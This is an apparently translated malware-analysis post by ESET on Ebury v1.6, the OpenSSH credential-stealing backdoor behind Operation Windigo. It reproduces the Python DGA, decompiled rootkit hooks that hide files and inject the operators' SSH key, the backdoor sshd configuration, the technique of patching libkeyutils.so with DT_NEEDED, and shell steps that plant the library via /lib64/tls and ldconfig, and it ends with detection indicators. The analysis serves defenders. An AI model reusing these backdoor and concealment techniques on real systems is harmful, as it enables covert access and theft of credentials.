Operation Windigo: Linux / Ebury Update

In February 2014, the ESET Virus Lab introduced a study of OpenSSH backdoor and Linux / Ebury malware to steal credentials. Further research has shown that this component is the core of a collection of several families of malicious programs involved in “Operation Windigo”. The discovery formed the basis of a report describing this cyber campaign.





In February 2017, we found a sample of Ebury with support for new features. The new version number is 1.6.2a. At the time of the discovery of this sample, the last version known to us was 1.5.x, revealed a few months earlier. In the course of further investigation, we realized that the infrastructure responsible for the theft of credentials is still functioning, and Ebury is actively used by the Windigo cybergroup.



Initially, we listed the indicators of compromise (IoC) for version 1.4 of Ebury. CERT-Bund has published IoC for version 1.5. This post presents a technical analysis of version 1.6, opened in February 2017, as well as IoC for versions 1.5 and 1.6.

')

New DGA for backup exfiltration

Ebury v1.4 provides a backup mechanism based on the Domain Generation Algorithm (DGA), which is used when an attacker does not connect to the infected system via the OpenSSH backdoor for three days. Under these conditions, Ebury transfers the collected data using the generated domain. Ebury v1.6 has the same mechanism, but there are some minor changes in the DGA itself. In these two versions, only the constants differ, as shown below.



New Ebury v1.6 implementation in Python:

def DGA(domain_no): TLDS = [ 'info', 'net', 'biz' ] KEY = "fmqzdnvcyelwaibsrxtpkhjguo" h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF) g = "" for i in range(len(h))[::-1]: g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)] g += h[i] g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)] g += '.%s' % TLDS[domain_no % len(TLDS)] return g 

Differences between DGA in versions 1.4 and 1.6 in Python:

 @@ -1,10 +1,10 @@ def DGA(domain_no): KEY = "fmqzdnvcyelwaibsrxtpkhjguo" - h = "%x" % ((domain_no * domain_no + 4091073) & 0xFFFFFFFF) + h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF) g = "" for i in range(len(h))[::-1]: - g += KEY[((ords(h[i]) * 4906) + (ords(h[-1]) + i + domain_no)) % len(KEY)] + g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)] g += h[i] - g += KEY[((ords(h[-1]) * 6816) + (len(h) + domain_no - 1)) % len(KEY)] + g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)] g += '.%s' % TLDS[domain_no % len(TLDS)] return g 

The first ten domains generated by the DGA are:



larfj7g1vaz3y.net

idkff7m1lac3g.biz

u2s0k8d1ial3r.info

h9g0q8a1hat3s.net

f2y1j8v1saa3t.biz

xdc1h8n1baw3m.info

raj2p8z1aae3b.net

o9f3v8r1oaj3p.biz

tav4h8n1baw3r.info

hdm5o8e1tas3n.net



Ebury consistently tries the generated domain names until it finds one that has a TXT record made by the operator. To verify the domain owner, Ebury checks whether the TXT record can be decrypted using the RSA public key embedded in its code.



DNS record for larfj7g1vaz3y [.] Net:

-----BEGIN RSA PUBLIC KEY-----

MIGJAoGBAOadSGBGG9x/f1/U6KdwxfGzqSj5Bcy4aZpKv77uN4xYdS5HWmEub5Rj

nAvtKybupWb3AUWwN7UPIO+2R+v6hrF+Gh2apcs9I9G7VEBiToi2B6BiZ3Ly68kj

1ojemjtrG+g//Ckw/osESWweSWY4nJFKa5QJzT39ErUZim2FPDmvAgMBAAE=

-----END RSA PUBLIC KEY-----



larfj7g1vaz3y.net. 1737 IN A 78.140.134.7

larfj7g1vaz3y.net. 285 IN TXT "ItTFyJ6tegXn9HkHa+XZX1+fZw0IsfhXl05phu1F7ZXDP4HtKMvrXW8NbUSjY8vkQgDdKsSaSCyrvfkhHodhVQLhIKJJY64HeoInb3m4SCNZNOhx9qjYRnuR0Ci7BHNWakJC/QdoQ4UNKkOrvvb42kN7TU6jqZCYBtusXd37tNg="



The domain A-record is ignored by Ebury.



The decrypted information consists of three CSV-fields. Here is a sample of the data stored in the DNS records for larfj7g1vaz3y [.] Net for January 2018:



larfj7g1vaz3y[.]net:3328801113:1504126800



The first field contains the domain name, so that the signed data cannot be reused for another domain. The second field is the IP address of the C & C server. The third field contains the UNIX timestamp used as the expiration date of the signed data. The expiration date is a new field added to bypass the sinkhole method, starting with version 1.6. If someone tries to seize the domain and IP address of the server to which the stolen data is sent (exfiltration server), the signed data can only be used for a limited period of time. This will reduce the impact of successful synchronization attempts in almost all previous versions of DGA.





Table 1. Decoded information stored in a TXT record



We do not think that Ebury operators actually expected to use the backup channel. In the studied samples, we found many bugs, due to which the mechanism could not be executed. The code is clearly not fully tested. For this reason, we can assume that Ebury operators rarely lose access to infected machines. Probably they are not worried about losing a few - many systems are under their control. Why so much effort has been made to implement the non-working mechanism is unknown.



Review of changes

- slightly modified DGA (modified constants)

- Added expiration date to check the DNS record of the data collection server

- New registered domain: larfj7g1vaz3y [.] Net

- The new IP address of the server to which the stolen data is sent: 198 [.] 105.121.89

New features

New features have been added in version 1.6. For unknown reasons, they are not available in all studied samples of this version.



Ebury now uses self-masking techniques, commonly described as “ user-mode rootkit” . To do this, the program intercepts the readdir or readdir64 , each of which is used to compile a list of directory entries. If the next directory structure returned is an Ebury shared library file, then the trap skips it and returns the following entry instead.



The result of the readdir trap output in the Hex-Rays decompiler:



struct dirent *__fastcall readdir(__int64 a1)

{

struct dirent *dir_entry; // rax

struct dirent *dir_entry_1; // rbx

__ino_t inode; // rax



do

{

if ( !readdir_0 )

readdir_0 = F_resolve_func("readdir");

dir_entry = readdir_0(a1);

dir_entry_1 = dir_entry;

if ( !exports_hook_activated )

break;

if ( !dir_entry )

break;

if ( !ebury_inode )

break;

inode = dir_entry->d_ino;

if ( inode != ebury_inode && inode != ebury_lstat_inode )

break;

}

while ( ebury_filename && !strncmp(dir_entry_1->d_name, ebury_filename,

ebury_filename_len_before_extension) );

return dir_entry_1;

}



Ebury trap activation is done by injecting a dynamic library into each sshd descendant process. To embed itself in subprocesses, Ebury intercepts execve and uses the linker dynamic variable LD_PRELOAD . Each time a new process is created, Ebury adds LD_PRELOAD=<Ebury_filename> to its environment.



An article on srvfail.com mentions a thread on StackExchange of a user whose machine was allegedly compromised by Ebury. The behavior he describes is consistent with the self-escalation techniques that we observed in Ebury version 1.6.2a.



Early versions of Ebury worked on certain versions of OpenSSH and depended on the Linux distribution. Now it is not. Most of the practices of applying OpenSSH patches have been replaced by traps functions. We tried installing Ebury on machines under Debian Jessie, CentOS 7 and Ubuntu Artful using the same sample, and it worked in all cases.



For injecting the OpenSSH server configuration directly into the Ebury memory, the sshd binary code is parsed, which is displayed in the same process, looking for two different functions. He is trying to find the address parse_server_config or process_server_config_line . If the attempt fails, it lowers the security properties by turning off the SELinux Role-Based Access Control and turning off the PAM modules. When one of the functions has been successfully processed, Ebury uses it during the sshd configuration change when using the backdoor.



Backdoor configuration:



PrintLastLog no

PrintMotd no

PasswordAuthentication no

PermitRootLogin yes

UseLogin no

UsePAM no

UseDNS no

ChallengeResponseAuthentication no

LogLevel QUIET

StrictModes no

PubkeyAuthentication yes

AllowUsers n

AllowGroups n

DenyUsers n

DenyGroups n

AuthorizedKeysFile /proc/self/environ

Banner /dev/null

PermitTunnel yes

AllowTcpForwarding yes

PermitOpen any



Ebury authors also strengthened the backdoor mechanism. Instead of relying on the password encoded in the SSH client version string, activating the backdoor now requires a personal key for authentication. Perhaps this additional check was added to prevent those who can find the backdoor password from accessing the compromised Ebury server.



Ebury Operators RSA Public Key:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESH

CvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd3BD+ADXDurAlDG

bh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00

H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC/9rqoAdv7Gbc5Y7W8xrNIjOIuxDx

Bx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq6

3E/xqI4tMEQl9BmW1Df5+LjbVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub



When trying to connect to the Ebury backdoor, it changes the AuthorizedKeysFile option to point to /proc/self/environ . It intercepts open or open64 and checks whether there is an attempt to open /proc/self/environ or paths containing .ssh/authorized_keys . The second check can be used as a backup if Ebury cannot parse_server_config and process_server_config_line to force the transfer of its configuration. Ebury also hooks fgets , which sshd calls to read the contents of the authorized_keys file. The global variable is used to ensure that fgets is called after opening the authorized_keys file. Then the trap fills the fgets buffer with the public key of Ebury statements, so the attackers key is used for authentication.



The output of the fgets trap output in the Hex-Rays decompiler:



char *__fastcall fgets_hook(char *s, __int64 size, FILE *stream)

{

int fd_env; // ebp

char *result; // rax



if ( !(backdoor_command & 1) )

return fgets_0(s);

fd_env = fd_proc_self_environ;

if ( fd_proc_self_environ <= 0 || fd_env != fileno(stream) )

return fgets_0(s);

strcpy(

s,

"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESHCvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd" "3BD+ADXDurAlDGbh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC" "/9rqoAdv7Gbc5Y7W8xrNIjOIuxDxBx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq63E/xqI4tMEQl9BmW1Df5+Lj"

"bVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\n");

result = s;

fd_proc_self_environ = 0;

return result;

}



The purpose of the interception trap of the memory copy function ( memcpy ) has not yet been established.



The output of the memcpy trap output in the Hex-Rays decompiler:



char *__fastcall memcpy_hook(char *dst, const char *src, size_t len)

{

size_t len_1; // r12

char *result; // rax



len_1 = len;

memcpy_orig(dst, src, len);

if ( len_1 > 0x1F && !strncmp(src, "chacha20-poly1305@openssh.com,", 0x1EuLL) )

result = memcpy_orig(dst, src + 30, len_1 - 30);

else

result = dst;

return result;

}



We know that the trap is used to remove the chacha20-poly1305 algorithm during the SSH key exchange. It is strange that the authors of Ebury do not want this algorithm to be used.

New installation methods

Ebury used to add payloads to libkeyutils.so . The file contained both the legitimate functions of libkeyutils, and the malicious code Ebury, run at boot. In the case of an infection, the file size was larger than usual - we pointed this out as a sign of compromise back in 2014.



We observed how this method was used in version 1.6.2, while the authors of Ebury came up with new ways to circumvent our indicators of compromise. They still use the file libkeyutils.so , but otherwise.



Based on our observations, the scripts and deployment methods differ depending on the Linux distribution of the system being attacked.



Debian / Ubuntu



On Debian / Ubuntu systems, Ebury is being implemented using a new method. Since libkeyutils.so loaded by the OpenSSH client and OpenSSH server executables, it remains an interesting target for attackers. Earlier, we noticed that Ebury was installed by changing the symbolic link libkeyutils.so.1 to indicate the malicious version of the library. The modified library has a constructor where the initialization code Ebury is stored. Each time libkeyutils.so is loaded, a libkeyutils.so is called. Thus, each time the OpenSSH client or server starts, Ebury is injected into the process.



The latest deployment method on Debian / Ubuntu is now based on the libkeyutils.so patch, to get it to load Ebury, stored in a separate .so file. Comparing the original and patched versions, we found that in the .dynamic section of the ELF file header there is an additional entry. The entry has the type NEEDED (0x01), which means the dependence of the executable file and that it is loaded in the process. In the deployment script that we studied, the loadable library is called libsbr.so and contains the malicious code Ebury.



The difference between the dynamic sections of the original and patched libkeyutils.so:

--- ./libkeyutils.so.1-5 2017-10-13 21:19:24.269521814 -0400

+++ ./libkeyutils.so.1-5.patched 2017-10-13 21:19:17.405092274 -0400

@@ -1,5 +1,5 @@



-Dynamic section at offset 0x2cf8 contains 26 entries:

+Dynamic section at offset 0x2cf8 contains 27 entries:

Tag Type Name/Value

0x0000000000000001 (NEEDED) Shared library: [libc.so.6]

0x000000000000000e (SONAME) Library soname: [libkeyutils.so.1]

@@ -26,4 +26,5 @@

0x000000006fffffff (VERNEEDNUM) 1

0x000000006ffffff0 (VERSYM) 0xdf0

0x000000006ffffff9 (RELACOUNT) 3

+ 0x0000000000000001 (NEEDED) Shared library: [libsbr.so]

0x0000000000000000 (NULL) 0x0



The process of applying the patch consists of two steps. First, the string “ libsbr.so ” must be placed in the string table of a binary file. Secondly, a new entry of type 0x1 (DT_NEEDED) needs to be added to the dynamic section of the ELF file headers. Ebury authors replaced the string " __bss_start " with " _\x00libsbr.so ". Since __bss_start not used by the dynamic linker, changing this symbol does not affect the execution of the library. The figure below shows the differences between the original and modified row tables libkeyutils.so .





Figure 1. Differences between original and patched row tables



Now, when the string libsbr.so is stored in the string table, you need to add a new entry to the .dynamic section. Figure 2 shows the differences between the original and patched libkeyutils.so sections .dynamic.





Figure 2. Differences between the original and patched sections of the .dynamic libkeyutils.so



The .dynamic section contains an Elf64_Dyn array for the amd64 binary files and Elf64_Dyn for the i386. The definitions of these structures are presented below.



Structures associated with the .dynamic section

typedef struct {

Elf32_Sword d_tag;

union {

Elf32_Word d_val;

Elf32_Addr d_ptr;

} d_un;

} Elf32_Dyn;



typedef struct {

Elf64_Sxword d_tag;

union {

Elf64_Xword d_val;

Elf64_Addr d_ptr;

} d_un;

} Elf64_Dyn;



Below are 64-bit versions of libkeyutils.so . Thus, new entries in the .dynamic section can be written as follows.



New entry in .dynamic:

Elf64_Dyn dyn;

dyn.d_tag = DT_NEEDED;

dyn.d_val = 0x38F;



For greater secrecy, Ebury operators took care to patch the MD5 sums of the libkeyutils1 package. Check the system for infection using a simple check the integrity of the package, it is impossible. This command will not show the presence of errors.



The package integrity check command: $ dpkg --verify libkeyutils1



When deployed as a separate library, Ebury uses many file names. Below is a list of known file names:

- libns2.so

- libns5.so

- libpw3.so

- libpw5.so

- libsbr.so

- libslr.so



CentOS



Techniques similar to those used for deployment on Debian / Ubuntu are also used for CentOS. Attackers put a patch on libkeyutils.so.1 to force the loading of an additional library. In addition, we noticed a new technique used to introduce Ebury into systems under CentOS / RedHat. We do not yet know all the details of the installation process, but viewing some of the online reports has made some assumptions about how the implementation takes place.



We know that Ebury is implemented as a separate shared object by the libkeyutils file, in a manner similar to Debian. We also observed another installation method, which is supposedly the implementation method in version 1.6. As in previous versions of Ebury, the operators created their own version of libkeyutils.so , to which they added a constructor containing malicious code. Instead of changing libkeyutils.so.1 from /lib/ or /lib64/ they place their files in the /lib{,64}/tls/ , as the dynamic linker starts processing dependencies from this directory.



We believe that the process of implementing this version begins with the location of Ebury in the folder /lib/tls/ or /lib64/tls/ , depending on the architecture of the victim’s system. Then launching ldconfig automatically creates a symbolic link / /lib{,64}/tls/libkeyutils.so.1 , /lib{,64}/tls/libkeyutils.so.1 , indicating a malicious shared object.



Using ldconfig to embed Ebury in / lib64 / tls /:



[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils

libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007ff67774f000)

[root@c2093ca76055 lib64]# cp libkeyutils.so.1.5 /lib64/tls/

[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils

libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f44ac6ba000)

[root@c2093ca76055 lib64]# ldconfig

[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils

libkeyutils.so.1 => /lib64/tls/libkeyutils.so.1 (0x00007fc12db23000)

[root@c2093ca76055 lib64]# ls -al /lib64/tls

total 24

dr-xr-xr-x 1 root root 4096 Oct 18 14:34 .

dr-xr-xr-x 1 root root 4096 Oct 18 13:25 ..

lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5

-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5



In addition, this is done for a simple uninstall system, which does not require manipulation of symbolic links and storing backup copies of the original shared libkeyutils object if something goes wrong during the deployment. Simply delete the malicious file libkeyutils.so in the folder /lib{,64}/tls/ and then run ldconfig again so that the system returns to its original state.



Apply ldconfig to remove Ebury:



[root@c2093ca76055 tls]# pwd

/lib64/tls

[root@c2093ca76055 tls]# ls -l

total 16

lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5

-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5

[root@c2093ca76055 tls]# rm libkeyutils.so.1.5

[root@c2093ca76055 tls]# ldconfig

[root@c2093ca76055 tls]# ls -l

total 0

[root@c2093ca76055 tls]# ldd /usr/bin/ssh | grep -i libkeyutils

libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f7b89349000)

[root@c2093ca76055 tls]# ls -l /lib64/libkeyutils.so.1

lrwxrwxrwx 1 root root 18 Oct 18 13:25 /lib64/libkeyutils.so.1 -> libkeyutils.so.1.5



The tls used in conjunction with the Linux boot loader function. Due to this, if the CPU supports an additional set of commands, the command located in this directory receives a higher priority than the “normal” one.

Conclusion

Despite the arrest of Maxim Senah, the Windigo botnet continues to work. Ebury, the main component of the Linux botnet, has acquired a number of significant improvements. Now he uses self-masking techniques and new ways of injecting into OpenSSH related processes. In addition, it uses a new domain generation algorithm (DGA) to search for a valid TXT domain record, signed by the attacker's private key - the address of the IP collection server is hidden in it. An expiration date has been added to prevent the reuse of signed data, which helps prevent syncholding attempts. Windigo operators regularly review published indicators of compromise and adapt software to avoid detection. This should be taken into account when trying to determine the infection of a system using well-known IoCs - the earlier they are published, the more likely it is that they are already outdated.

Indicators of compromise

In this section, we publish our indicators of compromise, which can help identify the latest versions of Ebury. We provide them to help the community determine the infection of their systems, but we do not claim to be perfect.



Ebury now uses a UNIX socket to communicate with an external process responsible for data theft. In most cases, the socket name starts with " /tmp/dbus- ". A real dbus can create a socket in a similar way. However, Ebury does this through non-legitimate dbus processes. If the result of the following command is a socket, it is suspicious:



$ lsof -U | grep -F @/tmp/dbus- | grep -v ^dbus



Below is a list of processes that we know Ebury uses for data leakage:

- auditd

- crond

- anacron

- arpd

- acpid

- rsyslogd

- udevd

- systemd-udevd

- atd

- hostname

- sync



On CentOS / Redhat, the presence of the file libkeyutils.so* in /lib/tls/ or /lib64/tls/ .



Running objdump -x libkeyutils.so.1 (or readelf -d libkeyutils.so.1 ) displays the dynamic section of the ELF file header. Anything with a NEEDED tag (type 1) besides libc or libdl looks suspicious.



$ objdump -x /lib64/libkeyutils.so.1 | grep NEEDED | grep -v -F -e libdl.so -e libc.so



If your machine is infected with an Ebury version with a user-space rootkit, there are many ways to determine this. Ebury injects itself using the LD_PRELOAD dynamic linker system variable, so we can use another system variable to detect the dynamic linker process. If libkeyutils loaded into any process where it should not be, most likely the system is infected with the Ebury version with the rootkit turned on. If the following command returns a result, it is also suspicious:



$ LD_DEBUG=symbols /bin/true 2>&1| grep libkeyutils



If you identify an infected machine, we recommend that you completely reinstall the system , because Windigo sometimes installs additional malware. A machine compromised by Ebury may be infected with another malware. In addition, assume that all user credentials and SSH keys are compromised - change them all .





Table 2. Ebury related hashes